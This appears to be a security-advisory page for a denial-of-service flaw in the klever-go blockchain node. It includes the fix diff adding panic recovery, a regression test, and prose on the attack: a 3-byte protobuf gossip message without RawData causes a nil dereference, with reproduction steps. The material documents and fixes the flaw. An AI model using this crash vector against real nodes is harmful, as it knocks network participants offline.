     	"strings"
     	"sync"
    @@ -888,8 +889,36 @@ func (netMes *networkMessenger) RegisterMessageProcessor(topic string, handler p
     }
     
     func (netMes *networkMessenger) pubsubCallback(handler p2p.MessageProcessor, topic string) func(ctx context.Context, pid peer.ID, message *pubsub.Message) bool {
    -	return func(ctx context.Context, pid peer.ID, message *pubsub.Message) bool {
    +	return func(ctx context.Context, pid peer.ID, message *pubsub.Message) (isValid bool) {
     		fromConnectedPeer := core.PeerID(pid)
    +
    +		// Circuit-breaker: this callback runs in an unrecovered pubsub goroutine, so a
    +		// panic on an untrusted message would crash the node (GHSA-rm5c-5x2p-48wr).
    +		defer func() {
    +			if r := recover(); r != nil {
    +				// Read message via nil-safe getters: the recover must not panic itself.
    +				var dataLen int
    +				var originator core.PeerID
    +				if message != nil {
    +					dataLen = len(message.GetData())
    +					originator = core.PeerID(message.GetFrom())
    +				}
    +
    +				log.Error("recovered from panic in pubsubCallback",
    +					"topic", topic,
    +					"originator", p2p.PeerIDToShortString(originator),
    +					"from connected peer", p2p.PeerIDToShortString(fromConnectedPeer),
    +					"panic", fmt.Sprintf("%v", r),
    +					"stack", string(debug.Stack()),
    +				)
    +				// Blacklist both peers, as transformAndCheckMessage does on severe errors.
    +				netMes.blacklistPid(fromConnectedPeer, core.WrongP2PMessageBlacklistDuration)
    +				netMes.blacklistPid(originator, core.WrongP2PMessageBlacklistDuration)
    +				netMes.processDebugMessage(topic, fromConnectedPeer, uint64(dataLen), true)
    +				isValid = false
    +			}
    +		}()
    +
     		msg, err := netMes.transformAndCheckMessage(message, fromConnectedPeer, topic)
     		if err != nil {
     			log.Trace("p2p validator - new message", "error", err.Error(), "topic", topic)
    
  • network/p2p/libp2p/netMessenger_test.go+91 0 modified
    @@ -1508,6 +1508,97 @@ func TestNetworkMessenger_PubsubCallbackReturnsFalseIfHandlerErrors(t *testing.T
     	_ = mes.Close()
     }
     
    +// Regression test for GHSA-rm5c-5x2p-48wr: a panic while processing a gossip message
    +// must be recovered (no node crash), reject the message, and blacklist both peers.
    +func TestNetworkMessenger_PubsubCallbackRecoversFromHandlerPanic(t *testing.T) {
    +	args := libp2p.ArgsNetworkMessenger{
    +		Marshalizer:   &commonMock.ProtoMarshalizerMock{},
    +		ListenAddress: libp2p.ListenLocalhostAddrWithIp4AndTcp,
    +		P2pConfig: config.P2PConfig{
    +			Node: config.NodeConfig{
    +				Port: "0",
    +			},
    +			KadDhtPeerDiscovery: config.KadDhtPeerDiscoveryConfig{
    +				Enabled: false,
    +			},
    +			Sharding: config.ShardingConfig{
    +				Type: p2p.NilListSharder,
    +			},
    +		},
    +		SyncTimer: &libp2p.LocalSyncTimer{},
    +	}
    +
    +	mes, _ := libp2p.NewNetworkMessenger(args)
    +
    +	// Distinct ids so we can assert BOTH get blacklisted. The originator must be a
    +	// valid peer id so the message reaches the panicking handler.
    +	connectedPeer := peer.ID("connected-peer-id")
    +	originator := []byte(mes.ID())
    +
    +	var mutBlacklisted sync.Mutex
    +	blacklisted := make(map[string]struct{})
    +	_ = mes.SetPeerDenialEvaluator(&mock.PeerDenialEvaluatorStub{
    +		UpsertPeerIDCalled: func(pid core.PeerID, duration time.Duration) error {
    +			mutBlacklisted.Lock()
    +			blacklisted[string(pid)] = struct{}{}
    +			mutBlacklisted.Unlock()
    +			return nil
    +		},
    +		IsDeniedCalled: func(pid core.PeerID) bool {
    +			return false
    +		},
    +	})
    +
    +	numCalled := uint32(0)
    +	handler := &mock.MessageProcessorStub{
    +		ProcessMessageCalled: func(message p2p.MessageP2P, fromConnectedPeer core.PeerID) error {
    +			atomic.AddUint32(&numCalled, 1)
    +			panic("simulated nil-pointer dereference while processing a malicious tx")
    +		},
    +	}
    +
    +	callBackFunc := mes.PubsubCallback(handler, "")
    +	ctx := context.Background()
    +	innerMessage := &data.TopicMessage{
    +		Payload:   []byte("data"),
    +		Timestamp: time.Now().Unix(),
    +		Version:   libp2p.CurrentTopicMessageVersion,
    +	}
    +	buff, _ := args.Marshalizer.Marshal(innerMessage)
    +	topic := "topic"
    +	msg := &pubsub.Message{
    +		Message: &pubsub_pb.Message{
    +			From:                 originator,
    +			Data:                 buff,
    +			Seqno:                []byte{0, 0, 0, 1},
    +			Topic:                &topic,
    +			Signature:            nil,
    +			Key:                  nil,
    +			XXX_NoUnkeyedLiteral: struct{}{},
    +			XXX_unrecognized:     nil,
    +			XXX_sizecache:        0,
    +		},
    +		ReceivedFrom:  "",
    +		ValidatorData: nil,
    +	}
    +
    +	isValid := true
    +	require.NotPanics(t, func() {
    +		isValid = callBackFunc(ctx, connectedPeer, msg)
    +	})
    +	assert.False(t, isValid)
    +	assert.Equal(t, uint32(1), atomic.LoadUint32(&numCalled))
    +
    +	mutBlacklisted.Lock()
    +	_, connectedBlacklisted := blacklisted[string(connectedPeer)]
    +	_, originatorBlacklisted := blacklisted[string(originator)]
    +	mutBlacklisted.Unlock()
    +	assert.True(t, connectedBlacklisted, "connected peer should be blacklisted on panic")
    +	assert.True(t, originatorBlacklisted, "originator should be blacklisted on panic")
    +
    +	_ = mes.Close()
    +}
    +
     func TestNetworkMessenger_UnjoinAllTopicsShouldWork(t *testing.T) {
     	args := libp2p.ArgsNetworkMessenger{
     		Marshalizer:   &commonMock.ProtoMarshalizerMock{},
    
21b74e1e69ce
https://github.com/klever-io/klever-goFixed in 1.7.18via ghsa-release-walk

Vulnerability mechanics

Root cause

"The `txVersionChecker.CheckTxVersion` function dereferences `tx.RawData.Version` without a nil check, causing a panic when `tx.RawData` is nil."

Attack vector

An attacker can send a specially crafted 3-byte protobuf message over the `transactions` gossip topic. This message omits the `RawData` sub-message, causing it to decode to `RawData == nil`. The `libp2p pubsub` callback, which lacks a `recover()` mechanism, invokes the validation chain, leading to a nil-pointer dereference and a node crash [ref_id=1]. This requires no special privileges, validator keys, or on-chain funds.

Affected code

The root cause is in `core/versioning/txVersionChecker.go:22` within the `CheckTxVersion` function. This function is reached via `core/process/transaction/interceptedTransaction.go:203` (integrity) and `:154` (CheckValidity). The vulnerable path is initiated by the `pubsubCallback` in `network/p2p/libp2p/netMessenger.go`, which calls into `core/process/interceptors/multiDataInterceptor.go:171` and `:223` [ref_id=1].

What the fix does

The suggested fix modifies `txVersionChecker.CheckTxVersion` to include a check for `tx == nil || tx.RawData == nil` before dereferencing `tx.RawData.Version`. This ensures that transactions with missing `RawData` are rejected with an appropriate error, preventing the nil-pointer panic. An additional defense-in-depth suggestion is to wrap the `pubsubCallback` in a `recover()` to prevent process crashes from single malformed messages.

Preconditions

  • networkAttacker runs an ordinary libp2p peer reachable to the target via normal peering / kad-dht discovery on the `transactions` gossip topic.
  • configProduction runs with `withMessageSigning = true`, which only requires the gossip message to be signed by the attacker's OWN libp2p peer key.
  • inputThe attacker sends a 3-byte protobuf message that omits the `RawData` sub-message.

Reproduction

1. Clone the repository: `git clone https://github.com/klever-io/klever-go && cd klever-go`. 2. Save the provided PoC source as `core/process/interceptors/poc_nil_rawdata_dos_test.go`. 3. Run the test for the production tx-topic path: `go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v`. 4. Alternatively, run the test for the generic path: `go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v`. Expected output for both is a panic indicating a nil pointer dereference originating from `txVersionChecker.go:22`.

Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.